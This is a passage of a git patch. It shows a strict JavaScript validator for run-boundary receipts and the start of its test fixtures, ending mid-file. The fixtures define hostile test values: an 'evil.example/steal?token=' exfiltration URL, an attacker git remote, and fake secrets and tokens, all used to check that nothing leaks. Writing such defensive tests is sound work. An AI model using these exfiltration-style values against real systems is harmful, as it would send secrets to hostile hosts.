'security_boundary' || status !== 'recorded') { + deny('invalid_format', pathLabel); + } + const runId = bindRunId(ownString(input, 'run_id', pathLabel), pathLabel); + sameIdentity(runId, identity.run_id, pathLabel); + const assignmentId = bindAssignmentId(ownString(input, 'assignment_id', pathLabel), pathLabel); + sameIdentity(assignmentId, identity.assignment_id, pathLabel); + ownRecordId(input, 'discrepancy_id', pathLabel); + ownInt(input, 'sequence', pathLabel, 0, MAX_SEQUENCE); + parseDigestList(ownArray(input, 'artifact_digests', pathLabel, MAX_API_COLLECTION), pathLabel); + const claimIds = ownArray(input, 'claim_ids', pathLabel, MAX_API_COLLECTION); + parseStringList(claimIds, RECORD_ID_PATTERN, pathLabel, MAX_API_COLLECTION); + const factIds = ownArray(input, 'fact_ids', pathLabel, MAX_API_COLLECTION); + parseStringList(factIds, RECORD_ID_PATTERN, pathLabel, MAX_API_COLLECTION); + if (hasOwn(input, 'recorded_at')) { + const recordedAt = ownString(input, 'recorded_at', pathLabel); + if (!capturedTest(TIMESTAMP_PATTERN, recordedAt)) deny('invalid_format', pathLabel); + } + return freezeRecord(['code', 'discrepancy_kind', 'status'], { + discrepancy_kind: kind, + status, + code, + }); +} + +function parseComparison(input, pathLabel) { + assertClosedObject(input, PROTECTED_REF_AUDIT_COMPARISON_KEYS, pathLabel); + exactKeySet(input, PROTECTED_REF_AUDIT_COMPARISON_KEYS, pathLabel); + return freezeRecord(PROTECTED_REF_AUDIT_COMPARISON_KEYS, { + outcome: ownEnum(input, 'outcome', COMPARISON_OUTCOMES, pathLabel), + storage: ownEnum(input, 'storage', PROTECTED_REF_AUDIT_STORAGE_CLASSES, pathLabel), + ref_class: ownEnum(input, 'ref_class', REF_CLASS_VALUES, pathLabel), + protected: ownBoolean(input, 'protected', pathLabel), + default_branch_target: ownBoolean(input, 'default_branch_target', pathLabel), + }); +} + +function parseFinding(input, pathLabel) { + assertClosedObject(input, AUDIT_FINDING_KEYS, pathLabel); + exactKeySet(input, AUDIT_FINDING_KEYS, pathLabel); + return freezeRecord(AUDIT_FINDING_KEYS, { + code: ownEnum(input, 'code', PROTECTED_REF_AUDIT_FINDING_CODES, pathLabel), + storage: ownEnum(input, 'storage', PROTECTED_REF_AUDIT_STORAGE_CLASSES, pathLabel), + ref_class: ownEnum(input, 'ref_class', REF_CLASS_VALUES, pathLabel), + protected: ownBoolean(input, 'protected', pathLabel), + default_branch_target: ownBoolean(input, 'default_branch_target', pathLabel), + }); +} + +function parseObservation(input, pathLabel, comparedCount) { + assertClosedObject(input, AUDIT_OBSERVATION_KEYS, pathLabel); + exactKeySet(input, AUDIT_OBSERVATION_KEYS, pathLabel); + const compared = ownInt(input, 'compared_count', pathLabel, 0, MAX_AUDIT_REFS); + if (compared !== comparedCount) deny('invalid_format', pathLabel); + ownInt(input, 'command_count', pathLabel, 0, 64); + ownInt(input, 'duration_ms', pathLabel, 0, MAX_DURATION_MS); + return freezeRecord( + ['compared_count', 'loose_count', 'missing_count', 'packed_count', 'symbolic_count'], + { + compared_count: compared, + loose_count: ownInt(input, 'loose_count', pathLabel, 0, MAX_AUDIT_REFS), + missing_count: ownInt(input, 'missing_count', pathLabel, 0, MAX_AUDIT_REFS), + packed_count: ownInt(input, 'packed_count', pathLabel, 0, MAX_AUDIT_REFS), + symbolic_count: ownInt(input, 'symbolic_count', pathLabel, 0, MAX_AUDIT_REFS), + }, + ); +} + +function parseAudit(input, identity) { + const pathLabel = 'audit'; + assertClosedObject(input, PROTECTED_REF_AUDIT_RECEIPT_KEYS, pathLabel); + exactKeySet(input, PROTECTED_REF_AUDIT_RECEIPT_KEYS, pathLabel); + const schema = ownString(input, 'schema', pathLabel); + if (schema !== PROTECTED_REF_AUDIT_SCHEMA_ID) deny('invalid_format', pathLabel); + const version = ownDataValue(input, 'version', pathLabel); + if (version !== PROTECTED_REF_AUDIT_VERSION) deny('invalid_format', pathLabel); + const status = ownEnum(input, 'status', PROTECTED_REF_AUDIT_STATUSES, pathLabel); + const runId = bindRunId(ownString(input, 'run_id', pathLabel), pathLabel); + sameIdentity(runId, identity.run_id, pathLabel); + const assignmentId = bindAssignmentId(ownString(input, 'assignment_id', pathLabel), pathLabel); + if (hasOwn(identity, 'assignment_id')) sameIdentity(assignmentId, identity.assignment_id, pathLabel); + const baseSha = bindBaseSha(ownString(input, 'base_sha', pathLabel), pathLabel); + sameIdentity(baseSha, identity.base_sha, pathLabel); + const boundIdentity = freezeRecord(['assignment_id', 'base_sha', 'run_id'], { + run_id: runId, + assignment_id: assignmentId, + base_sha: baseSha, + }); + const comparisonsIn = ownArray(input, 'comparisons', pathLabel, MAX_AUDIT_REFS); + const comparisons = []; + for (let i = 0; i < comparisonsIn.length; i += 1) { + comparisons.push(parseComparison(ownDataValue(comparisonsIn, STRING(i), pathLabel), pathLabel)); + } + const findingsIn = ownArray(input, 'findings', pathLabel, MAX_AUDIT_REFS); + const findings = []; + for (let i = 0; i < findingsIn.length; i += 1) { + findings.push(parseFinding(ownDataValue(findingsIn, STRING(i), pathLabel), pathLabel)); + } + const observed = parseEnumList( + ownArray(input, 'observed_classes', pathLabel, MAX_AUDIT_REFS), + PROTECTED_REF_AUDIT_FINDING_CODES, + pathLabel, + MAX_AUDIT_REFS, + ); + const factsIn = ownArray(input, 'facts', pathLabel, 1); + if (factsIn.length !== 1) deny('invalid_format', pathLabel); + const facts = [parseFact(ownDataValue(factsIn, '0', pathLabel), pathLabel, boundIdentity)]; + const discrepanciesIn = ownArray(input, 'discrepancies', pathLabel, 1); + const discrepancies = []; + for (let i = 0; i < discrepanciesIn.length; i += 1) { + discrepancies.push(parseDiscrepancy(ownDataValue(discrepanciesIn, STRING(i), pathLabel), pathLabel, boundIdentity)); + } + if (status === 'failed' && discrepancies.length !== 1) deny('invalid_format', pathLabel); + if (status === 'verified' && discrepancies.length !== 0) deny('invalid_format', pathLabel); + if (facts[0].status !== status) deny('invalid_format', pathLabel); + return { + schema, + version, + status, + run_id: runId, + assignment_id: assignmentId, + base_sha: baseSha, + repository_kind: ownEnum(input, 'repository_kind', PROTECTED_REF_AUDIT_REPOSITORY_KINDS, pathLabel), + comparisons: capturedFreeze(comparisons), + findings: capturedFreeze(findings), + observed_classes: observed, + facts: capturedFreeze(facts.map(projectFact)), + fact_statuses: capturedFreeze(facts.map((fact) => fact.status)), + discrepancies: capturedFreeze(discrepancies), + side_effects: parseBooleanMap( + ownDataValue(input, 'side_effects', pathLabel), + PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS, + PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS, + pathLabel, + ), + observation: parseObservation( + ownDataValue(input, 'observation', pathLabel), + pathLabel, + comparisons.length, + ), + }; +} + +function parseGitIdentity(input, pathLabel, expectedBase) { + assertClosedObject(input, GIT_IDENTITY_ALLOWED_KEYS, pathLabel); + requireKeys(input, capturedFreeze(['base_sha', 'digest', 'schema']), pathLabel); + const schema = ownString(input, 'schema', pathLabel); + if (schema !== GIT_IDENTITY_SCHEMA_ID) deny('invalid_format', pathLabel); + const baseSha = bindBaseSha(ownString(input, 'base_sha', pathLabel), pathLabel); + sameIdentity(baseSha, expectedBase, pathLabel); + const digest = ownString(input, 'digest', pathLabel, MAX_DROPPED_STRING_BYTES); + if (!capturedTest(SHA256_PATTERN, digest) && !capturedTest(SHA256_LABELED_PATTERN, digest)) { + deny('invalid_format', pathLabel); + } + if (hasOwn(input, 'repository_path')) { + ownString(input, 'repository_path', pathLabel, MAX_DROPPED_STRING_BYTES); + } +} + +function parseRepository(input, pathLabel, expectedBase) { + assertClosedObject(input, PREFLIGHT_REPOSITORY_KEYS, pathLabel); + requireKeys(input, PREFLIGHT_REPOSITORY_KEYS, pathLabel); + const baseSha = bindBaseSha(ownString(input, 'base_sha', pathLabel), pathLabel); + sameIdentity(baseSha, expectedBase, pathLabel); + const objectType = ownString(input, 'object_type', pathLabel); + if (objectType !== 'commit') deny('invalid_format', pathLabel); + ownString(input, 'path', pathLabel, MAX_DROPPED_STRING_BYTES); + ownString(input, 'git_dir', pathLabel, MAX_DROPPED_STRING_BYTES); + return baseSha; +} + +function parseChildren(input, pathLabel) { + assertClosedObject(input, PREFLIGHT_CHILD_KEYS, pathLabel); + exactKeySet(input, PREFLIGHT_CHILD_KEYS, pathLabel); + const count = ownInt(input, 'count', pathLabel, PREFLIGHT_MIN_CHILDREN, PREFLIGHT_MAX_CHILDREN); + const minimum = ownInt(input, 'minimum', pathLabel, PREFLIGHT_MIN_CHILDREN, PREFLIGHT_MAX_CHILDREN); + const maximum = ownInt(input, 'maximum', pathLabel, PREFLIGHT_MIN_CHILDREN, PREFLIGHT_MAX_CHILDREN); + if (minimum !== PREFLIGHT_MIN_CHILDREN || maximum !== PREFLIGHT_MAX_CHILDREN) { + deny('invalid_format', pathLabel); + } + const assignmentIds = parseStringList( + ownArray(input, 'assignment_ids', pathLabel, PREFLIGHT_MAX_CHILDREN), + /^[a-z][a-z0-9-]{0,63}$/u, + pathLabel, + PREFLIGHT_MAX_CHILDREN, + ); + if (assignmentIds.length !== count) deny('invalid_format', pathLabel); + const independent = ownBoolean(input, 'independent', pathLabel); + if (independent !== true) deny('invalid_format', pathLabel); + ownInt(input, 'concurrency', pathLabel, PREFLIGHT_MIN_CHILDREN, PREFLIGHT_MAX_CHILDREN); + ownInt(input, 'scope_pair_checks', pathLabel, 0, 4096); + return assignmentIds; +} + +function parseCapacity(input, pathLabel) { + assertClosedObject(input, PREFLIGHT_CAPACITY_KEYS, pathLabel); + exactKeySet(input, PREFLIGHT_CAPACITY_KEYS, pathLabel); + ownEnum(input, 'source', PREFLIGHT_CAPACITY_SOURCES, pathLabel); + ownInt(input, 'cpu_parallelism', pathLabel, 0, 10_000); + ownInt(input, 'total_ram_bytes', pathLabel, 0, Number.MAX_SAFE_INTEGER); + ownInt(input, 'available_ram_bytes', pathLabel, 0, Number.MAX_SAFE_INTEGER); + ownInt(input, 'required_ram_bytes', pathLabel, 0, Number.MAX_SAFE_INTEGER); + return { + cpu_ok: ownBoolean(input, 'cpu_ok', pathLabel), + ram_ok: ownBoolean(input, 'ram_ok', pathLabel), + }; +} + +function parseChecks(input, expected, pathLabel) { + try { assertNotProxy(input, pathLabel); } catch (error) { remapClosure(error, pathLabel); } + if (!IS_ARRAY(input)) deny('invalid_type', pathLabel); + if (input.length !== expected.length) deny('invalid_format', pathLabel); + for (let i = 0; i < expected.length; i += 1) { + const value = ownDataValue(input, STRING(i), pathLabel); + if (value !== expected[i]) deny('invalid_format', pathLabel); + } + return expected; +} + +function parsePreflight(input, pathLabel, identity) { + assertClosedObject(input, PREFLIGHT_RECEIPT_KEYS, pathLabel); + exactKeySet(input, PREFLIGHT_RECEIPT_KEYS, pathLabel); + const schema = ownString(input, 'schema', pathLabel); + if (schema !== RUN_PREFLIGHT_SCHEMA_ID) deny('invalid_format', pathLabel); + const version = ownDataValue(input, 'version', pathLabel); + if (version !== RUN_PREFLIGHT_VERSION) deny('invalid_format', pathLabel); + const status = ownString(input, 'status', pathLabel); + if (status !== 'ready') deny('invalid_format', pathLabel); + const runId = bindRunId(ownString(input, 'run_id', pathLabel), pathLabel); + sameIdentity(runId, identity.run_id, pathLabel); + const assignmentIds = parseChildren(ownDataValue(input, 'children', pathLabel), pathLabel); + const capacity = parseCapacity(ownDataValue(input, 'capacity', pathLabel), pathLabel); + parseRepository(ownDataValue(input, 'repository', pathLabel), pathLabel, identity.base_sha); + parseGitIdentity(ownDataValue(input, 'git_identity', pathLabel), pathLabel, identity.base_sha); + parseChecks(ownDataValue(input, 'checks', pathLabel), RUN_PREFLIGHT_CHECKS, pathLabel); + parseBooleanMap( + ownDataValue(input, 'side_effects', pathLabel), + RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + pathLabel, + ); + return { + status, + assignment_ids: assignmentIds, + cpu_ok: capacity.cpu_ok, + ram_ok: capacity.ram_ok, + }; +} + +function parseLane(input, pathLabel, seen) { + assertClosedObject(input, ORCHESTRATION_LANE_KEYS, pathLabel); + exactKeySet(input, ORCHESTRATION_LANE_KEYS, pathLabel); + const assignmentId = bindAssignmentId(ownString(input, 'assignment_id', pathLabel), pathLabel); + if (seen.has(assignmentId)) deny('invalid_format', pathLabel); + seen.add(assignmentId); + const status = ownEnum(input, 'status', ORCHESTRATION_LANE_STATUSES, pathLabel); + const identity = ownString(input, 'identity', pathLabel); + if (!capturedTest(LANE_IDENTITY_PATTERN, identity)) deny('invalid_format', pathLabel); + const projected = ownArray(input, 'projected_keys', pathLabel, 64); + parseStringList(projected, PROJECTED_KEY_PATTERN, pathLabel, 64, 64); + const credentialPresent = ownBoolean(input, 'credential_present', pathLabel); + let provider = ownDataValue(input, 'provider', pathLabel); + let model = ownDataValue(input, 'model', pathLabel); + if (status === 'selection_unresolved') { + if (provider !== null || model !== null) deny('invalid_format', pathLabel); + provider = null; + model = null; + } else { + if (typeof provider !== 'string' || !isKnownProvider(provider)) deny('invalid_format', pathLabel); + if (typeof model !== 'string' || !isModelId(model)) deny('invalid_format', pathLabel); + } + return freezeRecord( + ['assignment_id', 'credential_present', 'model', 'provider', 'status'], + { + assignment_id: assignmentId, + provider, + model, + status, + credential_present: credentialPresent, + }, + ); +} + +function parseOrchestrationDenial(input, identity) { + const pathLabel = 'orchestration'; + assertClosedObject(input, ORCHESTRATION_DENIAL_KEYS, pathLabel); + requireKeys(input, ORCHESTRATION_DENIAL_REQUIRED_KEYS, pathLabel); + const schema = ownString(input, 'schema', pathLabel); + if (schema !== RUN_ORCHESTRATION_SCHEMA_ID && schema !== RUN_PREFLIGHT_SCHEMA_ID) { + deny('invalid_format', pathLabel); + } + const version = ownDataValue(input, 'version', pathLabel); + if (version !== RUN_ORCHESTRATION_VERSION && version !== RUN_PREFLIGHT_VERSION) { + deny('invalid_format', pathLabel); + } + const code = ownString(input, 'code', pathLabel); + if (!capturedIncludes(DENIAL_CODES, code)) deny('invalid_format', pathLabel); + if (hasOwn(input, 'run_id')) { + const runId = bindRunId(ownString(input, 'run_id', pathLabel), pathLabel); + sameIdentity(runId, identity.run_id, pathLabel); + } + return freezeRecord( + ['code', 'kind', 'schema', 'version'], + { + kind: 'denial', + schema, + version: RUN_ORCHESTRATION_VERSION, + code, + }, + ); +} + +function parseOrchestrationReceipt(input, identity) { + const pathLabel = 'orchestration'; + assertClosedObject(input, ORCHESTRATION_RECEIPT_KEYS, pathLabel); + exactKeySet(input, ORCHESTRATION_RECEIPT_KEYS, pathLabel); + const schema = ownString(input, 'schema', pathLabel); + if (schema !== RUN_ORCHESTRATION_SCHEMA_ID) deny('invalid_format', pathLabel); + const version = ownDataValue(input, 'version', pathLabel); + if (version !== RUN_ORCHESTRATION_VERSION) deny('invalid_format', pathLabel); + const status = ownEnum(input, 'status', ORCHESTRATION_RECEIPT_STATUSES, pathLabel); + const intent = ownEnum(input, 'intent', ORCHESTRATION_INTENTS, pathLabel); + if (status === 'prepared' && intent !== 'prepare') deny('invalid_format', pathLabel); + if (status === 'dispatched' && intent !== 'dispatch') deny('invalid_format', pathLabel); + const runId = bindRunId(ownString(input, 'run_id', pathLabel), pathLabel); + sameIdentity(runId, identity.run_id, pathLabel); + const preflight = parsePreflight(ownDataValue(input, 'preflight', pathLabel), pathLabel, identity); + const lanesIn = ownArray(input, 'lanes', pathLabel, MAX_API_LANES); + if (lanesIn.length < PREFLIGHT_MIN_CHILDREN) deny('bounds_exceeded', pathLabel); + const seen = new SET_CTOR(); + const lanes = []; + for (let i = 0; i < lanesIn.length; i += 1) { + lanes.push(parseLane(ownDataValue(lanesIn, STRING(i), pathLabel), pathLabel, seen)); + } + if (lanes.length !== preflight.assignment_ids.length) deny('identity_mismatch', pathLabel); + for (let i = 0; i < lanes.length; i += 1) { + if (!capturedIncludes(preflight.assignment_ids, lanes[i].assignment_id)) { + deny('identity_mismatch', pathLabel); + } + } + if (status === 'dispatched') { + for (let i = 0; i < lanes.length; i += 1) { + if (lanes[i].status === 'selection_unresolved') deny('invalid_format', pathLabel); + } + } + const sideEffects = parseBooleanMap( + ownDataValue(input, 'side_effects', pathLabel), + RUN_ORCHESTRATION_SIDE_EFFECTS, + RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS, + pathLabel, + ); + parseChecks(ownDataValue(input, 'checks', pathLabel), RUN_ORCHESTRATION_CHECKS, pathLabel); + return { + kind: 'receipt', + schema, + version, + status, + intent, + preflight_status: preflight.status, + lanes: capturedFreeze(lanes), + checks: RUN_ORCHESTRATION_CHECKS, + side_effects: sideEffects, + cpu_ok: preflight.cpu_ok, + ram_ok: preflight.ram_ok, + }; +} + +function parseOrchestration(input, identity) { + if (input === undefined || input === null) deny('invalid_type', 'orchestration'); + try { assertNotProxy(input, 'orchestration'); } catch (error) { remapClosure(error, 'orchestration'); } + if (typeof input !== 'object') deny('invalid_type', 'orchestration'); + const keys = (() => { + try { return OWN_KEYS(input); } catch { deny('invalid_type', 'orchestration'); return []; } + })(); + let hasCode = false; + let hasLanes = false; + for (let i = 0; i < keys.length; i += 1) { + if (keys[i] === 'code') hasCode = true; + if (keys[i] === 'lanes') hasLanes = true; + } + if (hasCode && hasLanes) deny('invalid_format', 'orchestration'); + if (hasCode) return parseOrchestrationDenial(input, identity); + if (hasLanes) return parseOrchestrationReceipt(input, identity); + deny('invalid_format', 'orchestration'); +} + +function parseUnresolvedEntry(input, pathLabel, seen) { + assertClosedObject(input, LIFECYCLE_UNRESOLVED_KEYS, pathLabel); + exactKeySet(input, LIFECYCLE_UNRESOLVED_KEYS, pathLabel); + const assignmentId = bindAssignmentId(ownString(input, 'assignment_id', pathLabel), pathLabel); + const code = ownEnum(input, 'code', LIFECYCLE_UNRESOLVED_CODES, pathLabel); + const fingerprint = `${assignmentId}:${code}`; + if (seen.has(fingerprint)) deny('invalid_format', pathLabel); + seen.add(fingerprint); + return freezeRecord(LIFECYCLE_UNRESOLVED_KEYS, { assignment_id: assignmentId, code }); +} + +function parseLifecycle(input) { + if (input === undefined) return null; + const pathLabel = 'lifecycle'; + assertClosedObject(input, LIFECYCLE_ALLOWED_KEYS, pathLabel); + requireKeys(input, LIFECYCLE_REQUIRED_KEYS, pathLabel); + const status = ownEnum(input, 'status', LIFECYCLE_STATUSES, pathLabel); + const cleaned = ownBoolean(input, 'cleaned', pathLabel); + const unresolvedIn = ownArray(input, 'unresolved', pathLabel, MAX_API_LANES); + const seen = new SET_CTOR(); + const unresolved = []; + for (let i = 0; i < unresolvedIn.length; i += 1) { + unresolved.push(parseUnresolvedEntry(ownDataValue(unresolvedIn, STRING(i), pathLabel), pathLabel, seen)); + } + const values = { + status, + cleaned, + unresolved: capturedFreeze(unresolved), + }; + if (hasOwn(input, 'missing')) values.missing = ownBoolean(input, 'missing', pathLabel); + if (hasOwn(input, 'restarted')) values.restarted = ownBoolean(input, 'restarted', pathLabel); + if (hasOwn(input, 'side_effects')) { + parseBooleanMap( + ownDataValue(input, 'side_effects', pathLabel), + RUN_ORCHESTRATION_SIDE_EFFECTS, + RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS, + pathLabel, + ); + } + return freezeRecord(LIFECYCLE_ALLOWED_KEYS, values); +} + +function auditIsNegative(audit) { + if (audit.status === 'failed') return true; + for (let i = 0; i < audit.findings.length; i += 1) { + if (capturedIncludes(PROTECTED_REF_AUDIT_FAILING_CODES, audit.findings[i].code)) return true; + } + for (let i = 0; i < audit.observed_classes.length; i += 1) { + if (capturedIncludes(PROTECTED_REF_AUDIT_FAILING_CODES, audit.observed_classes[i])) return true; + } + for (let i = 0; i < audit.fact_statuses.length; i += 1) { + if (audit.fact_statuses[i] !== 'verified') return true; + } + if (audit.discrepancies.length > 0) return true; + return false; +} + +function lifecycleIsUnresolved(lifecycle) { + if (lifecycle == null) return false; + if (lifecycle.missing === true) return true; + if (lifecycle.unresolved.length > 0) return true; + if (lifecycle.restarted === true) return false; + return lifecycle.cleaned !== true; +} + +function bindLaneProvider(identity, orchestration, auditAssignmentId) { + if (orchestration.kind !== 'receipt') { + if (hasOwn(identity, 'assignment_id')) { + sameIdentity(identity.assignment_id, auditAssignmentId, 'identity.assignment_id'); + } + return; + } + const lanes = orchestration.lanes; + if (hasOwn(identity, 'assignment_id')) { + sameIdentity(identity.assignment_id, auditAssignmentId, 'identity.assignment_id'); + let found = false; + for (let i = 0; i < lanes.length; i += 1) { + if (lanes[i].assignment_id === identity.assignment_id) found = true; + } + if (!found) deny('identity_mismatch', 'identity.assignment_id'); + } + if (hasOwn(identity, 'provider')) { + let found = false; + for (let i = 0; i < lanes.length; i += 1) { + if (lanes[i].provider === identity.provider) found = true; + } + if (!found) deny('identity_mismatch', 'identity.provider'); + } +} + +function deriveStatus(audit, orchestration, lifecycle) { + if (auditIsNegative(audit)) return 'failed'; + if (orchestration.kind === 'denial') return 'denied'; + if (orchestration.cpu_ok !== true || orchestration.ram_ok !== true) return 'denied'; + if (lifecycleIsUnresolved(lifecycle)) return 'unresolved'; + return 'ready'; +} + +function projectAudit(audit) { + return freezeRecord( + [ + 'comparisons', 'discrepancies', 'facts', 'findings', 'observed_classes', + 'observation', 'repository_kind', 'schema', 'side_effects', 'status', + 'version', + ], + { + schema: audit.schema, + version: audit.version, + status: audit.status, + repository_kind: audit.repository_kind, + comparisons: audit.comparisons, + findings: audit.findings, + observed_classes: audit.observed_classes, + facts: audit.facts, + discrepancies: audit.discrepancies, + side_effects: audit.side_effects, + observation: audit.observation, + }, + ); +} + +function projectOrchestration(orchestration) { + if (orchestration.kind === 'denial') { + return freezeRecord(['code', 'kind', 'schema', 'version'], { + kind: 'denial', + schema: orchestration.schema, + version: orchestration.version, + code: orchestration.code, + }); + } + return freezeRecord( + ['checks', 'intent', 'kind', 'lanes', 'preflight_status', 'schema', 'side_effects', 'status', 'version'], + { + kind: 'receipt', + schema: orchestration.schema, + version: orchestration.version, + status: orchestration.status, + intent: orchestration.intent, + preflight_status: orchestration.preflight_status, + lanes: orchestration.lanes, + checks: orchestration.checks, + side_effects: orchestration.side_effects, + }, + ); +} + +function projectLifecycle(lifecycle) { + if (lifecycle == null) return null; + const values = { + status: lifecycle.status, + cleaned: lifecycle.cleaned, + unresolved: lifecycle.unresolved, + }; + if (hasOwn(lifecycle, 'missing')) values.missing = lifecycle.missing; + if (hasOwn(lifecycle, 'restarted')) values.restarted = lifecycle.restarted; + return freezeRecord(['cleaned', 'missing', 'restarted', 'status', 'unresolved'], values); +} + +function projectInvariants(lifecycle) { + return freezeRecord(RUN_API_BOUNDARY_INVARIANT_KEYS, { + read_only_audit: true, + credentials_not_projected: true, + refs_not_mutated: true, + workspace_not_created: true, + reservation_not_held: true, + provider_isolated: true, + cleanup_truthful: true, + remote_mutated: false, + public_api_exposed: false, + gate_a_claimed: false, + release_decided: false, + supervisor_cutover: false, + }); +} + +export function projectRunApiBoundaryV1(input) { + const pathLabel = 'run_api_boundary'; + if (input === undefined || input === null) deny('invalid_type', pathLabel); + assertClosedObject(input, INPUT_ALLOWED_KEYS, pathLabel); + requireKeys(input, INPUT_REQUIRED_KEYS, pathLabel); + const schema = ownString(input, 'schema', pathLabel); + if (schema !== RUN_API_BOUNDARY_SCHEMA_ID) deny('invalid_format', pathLabel); + const version = ownDataValue(input, 'version', pathLabel); + if (version !== RUN_API_BOUNDARY_VERSION) deny('invalid_format', pathLabel); + const identity = parseIdentity(ownDataValue(input, 'identity', pathLabel)); + const audit = parseAudit(ownDataValue(input, 'audit', pathLabel), identity); + const orchestration = parseOrchestration(ownDataValue(input, 'orchestration', pathLabel), identity); + const lifecycle = parseLifecycle(optOwn(input, 'lifecycle')); + bindLaneProvider(identity, orchestration, audit.assignment_id); + const status = deriveStatus(audit, orchestration, lifecycle); + const resultValues = { + schema: RUN_API_BOUNDARY_SCHEMA_ID, + version: RUN_API_BOUNDARY_VERSION, + status, + run_id: identity.run_id, + base_sha: identity.base_sha, + assignment_id: hasOwn(identity, 'assignment_id') ? identity.assignment_id : audit.assignment_id, + checks: RUN_API_BOUNDARY_CHECKS, + audit: projectAudit(audit), + orchestration: projectOrchestration(orchestration), + lifecycle: projectLifecycle(lifecycle), + invariants: projectInvariants(lifecycle), + side_effects: emptySideEffects(), + }; + if (hasOwn(identity, 'provider')) resultValues.provider = identity.provider; + return freezeData(freezeRecord(RESULT_KEYS, resultValues)); +} + +export function describeRunApiBoundaryV1() { + return freezeData(capturedFreeze({ + schema: RUN_API_BOUNDARY_SCHEMA_ID, + version: RUN_API_BOUNDARY_VERSION, + rule: 'pure_projection_of_accepted_p30_p31_receipts', + api: capturedFreeze(['describeRunApiBoundaryV1', 'projectRunApiBoundaryV1']), + statuses: RUN_API_BOUNDARY_STATUSES, + checks: RUN_API_BOUNDARY_CHECKS, + error_codes: RUN_API_BOUNDARY_ERROR_CODES, + side_effect_nonclaims: RUN_API_BOUNDARY_SIDE_EFFECT_NONCLAIMS, + max_object_keys: MAX_API_OBJECT_KEYS, + max_key_bytes: MAX_API_KEY_BYTES, + max_string_bytes: MAX_API_STRING_BYTES, + max_collection: MAX_API_COLLECTION, + max_lanes: MAX_API_LANES, + composed_surfaces: capturedFreeze({ + protected_ref_audit: PROTECTED_REF_AUDIT_SCHEMA_ID, + run_orchestration: RUN_ORCHESTRATION_SCHEMA_ID, + run_preflight: RUN_PREFLIGHT_SCHEMA_ID, + audit_checks: PROTECTED_REF_AUDIT_CHECKS, + orchestration_checks: RUN_ORCHESTRATION_CHECKS, + audit_lifecycle: 'not invoked; receipts are consumed as values', + orchestration_lifecycle: 'not invoked; receipts are consumed as values', + git: 'not invoked', + filesystem: 'not invoked', + process: 'not invoked', + network: 'not invoked', + provider: 'not invoked', + credentials: 'not accessed', + environment: 'not accessed', + argv: 'not accessed', + handoff: 'not accessed', + workspace: 'not created', + reservation: 'not held', + supervisor_server: 'no cutover', + public_mcp: 'not exposed', + release: 'not decided', + gate_a: 'not claimed', + remote_mutation: 'denied', + }), + })); +} + +capturedFreeze(projectRunApiBoundaryV1); +capturedFreeze(describeRunApiBoundaryV1); From 9cd757f62d5dd2cb67853fb9a542eb2aded6fe9d Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 18:34:21 +0000 Subject: [PATCH 110/151] test(run): cover paired projection, negative evidence, and hostiles Prove ready, failed, denied, and unresolved preservation, identity binding, deep freeze, concurrent purity, and the required hostile no-I/O matrix. --- .../fixtures/r1-run-api-boundary-fixtures.mjs | 379 ++++++++++++++++++ .../r1-run-api-boundary-adversarial.test.mjs | 338 ++++++++++++++++ .../test/r1-run-api-boundary.test.mjs | 307 ++++++++++++++ 3 files changed, 1024 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-run-api-boundary-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-api-boundary-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-api-boundary.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-api-boundary-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-api-boundary-fixtures.mjs new file mode 100644 index 0000000..12a5ba9 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-api-boundary-fixtures.mjs @@ -0,0 +1,379 @@ +// Neutral fixtures for RunApiBoundaryV1 tests. Construction only: already- +// produced P30/P31-shaped values, no Git, filesystem, process, network, +// provider, credential, or orchestration execution. Tests own the assertions. + +import { + PROTECTED_REF_AUDIT_CHECKS, + PROTECTED_REF_AUDIT_SCHEMA_ID, + PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS, + PROTECTED_REF_AUDIT_VERSION, +} from '../../mcp/v3/protected-ref-audit.mjs'; +import { GIT_IDENTITY_SCHEMA_ID } from '../../mcp/v3/protected-identity.mjs'; +import { + RUN_API_BOUNDARY_SCHEMA_ID, + RUN_API_BOUNDARY_VERSION, +} from '../../mcp/v3/run-api-boundary.mjs'; +import { + RUN_ORCHESTRATION_CHECKS, + RUN_ORCHESTRATION_SCHEMA_ID, + RUN_ORCHESTRATION_SIDE_EFFECTS, + RUN_ORCHESTRATION_VERSION, +} from '../../mcp/v3/run-orchestration.mjs'; +import { + PREFLIGHT_MAX_CHILDREN, + PREFLIGHT_MIN_CHILDREN, + RUN_PREFLIGHT_CHECKS, + RUN_PREFLIGHT_SCHEMA_ID, + RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + RUN_PREFLIGHT_VERSION, +} from '../../mcp/v3/run-preflight.mjs'; + +export const RUN_ID = 'run-api-boundary-01'; +export const ASSIGNMENT_ID = 'lane-alpha'; +export const ASSIGNMENT_ID_B = 'lane-beta'; +export const BASE_SHA = '0123456789abcdef0123456789abcdef01234567'; +export const HEAD_SHA = '0123456789abcdef0123456789abcdef01234567'; +export const DIGEST = 'ab'.repeat(32); +export const LANE_IDENTITY = 'cd'.repeat(16); +export const LANE_IDENTITY_B = 'ef'.repeat(16); +export const PROVIDER = 'grok'; +export const MODEL = 'grok-4'; +export const HOSTILE_PATH = '/tmp/secret-repo-do-not-leak'; +export const HOSTILE_URL = 'https://evil.example/steal?token=secret'; +export const HOSTILE_GIT = 'git@github.com:evil/repo.git'; +export const HOSTILE_SECRET = 'sk-secret-value-do-not-leak'; +export const HOSTILE_TOKEN = 'ghp_hostiletokendoNotLeak001'; +export const HOSTILE_ENV = 'GH_TOKEN=ghp_hostiletokendoNotLeak001'; +export const CONTENT_FREE = /^[A-Za-z0-9_=.:/\[\]()";', -]+$/u; + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = 